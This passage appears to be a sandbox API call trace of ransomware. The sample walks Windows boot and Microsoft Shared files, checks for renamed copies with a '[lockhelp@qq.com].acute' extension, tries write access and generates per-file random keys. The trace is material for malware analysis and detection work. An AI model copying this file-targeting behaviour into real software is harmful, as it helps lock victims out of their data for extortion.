(lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0272.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\memtest.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.529] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.530] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.530] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.530] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=88144) returned 1 [0272.530] CloseHandle (hObject=0x324) returned 1 [0272.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0272.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.530] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.530] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.531] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.531] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=90704) returned 1 [0272.531] CloseHandle (hObject=0x324) returned 1 [0272.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0272.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.531] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.531] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.531] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.531] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=90704) returned 1 [0272.531] CloseHandle (hObject=0x324) returned 1 [0272.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0272.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.531] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.531] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.531] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.531] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=90176) returned 1 [0272.532] CloseHandle (hObject=0x324) returned 1 [0272.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0272.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.532] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.532] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.532] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.532] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=89664) returned 1 [0272.532] CloseHandle (hObject=0x324) returned 1 [0272.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0272.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.532] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.532] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.532] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.532] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=90192) returned 1 [0272.532] CloseHandle (hObject=0x324) returned 1 [0272.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0272.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.533] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.533] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.533] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.533] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=87616) returned 1 [0272.533] CloseHandle (hObject=0x324) returned 1 [0272.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0272.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.533] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.533] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.533] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.533] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=87104) returned 1 [0272.533] CloseHandle (hObject=0x324) returned 1 [0272.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0272.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.533] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.534] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.534] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.534] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=70720) returned 1 [0272.534] CloseHandle (hObject=0x324) returned 1 [0272.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0272.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.536] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.536] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.536] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.536] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=70224) returned 1 [0272.536] CloseHandle (hObject=0x324) returned 1 [0272.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0272.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.536] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.536] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.536] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.536] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=70208) returned 1 [0272.536] CloseHandle (hObject=0x324) returned 1 [0272.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0272.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.536] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.537] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.537] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.542] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=383786) returned 1 [0272.542] CloseHandle (hObject=0x324) returned 1 [0272.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0272.542] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0272.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\bootmgr.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.542] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.542] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0272.542] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.543] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1369952) returned 1 [0272.543] CloseHandle (hObject=0x324) returned 1 [0272.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll")) returned 0x20 [0272.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.543] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.545] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=994184) returned 1 [0272.545] CloseHandle (hObject=0x324) returned 1 [0272.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0272.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.545] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.546] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=629664) returned 1 [0272.546] CloseHandle (hObject=0x324) returned 1 [0272.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0272.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.546] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.546] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=64096) returned 1 [0272.546] CloseHandle (hObject=0x324) returned 1 [0272.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 0x20 [0272.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.547] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.547] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2557) returned 1 [0272.547] CloseHandle (hObject=0x324) returned 1 [0272.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0272.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.548] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.548] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=543304) returned 1 [0272.548] CloseHandle (hObject=0x324) returned 1 [0272.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0272.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.548] CryptGenRandom (in: 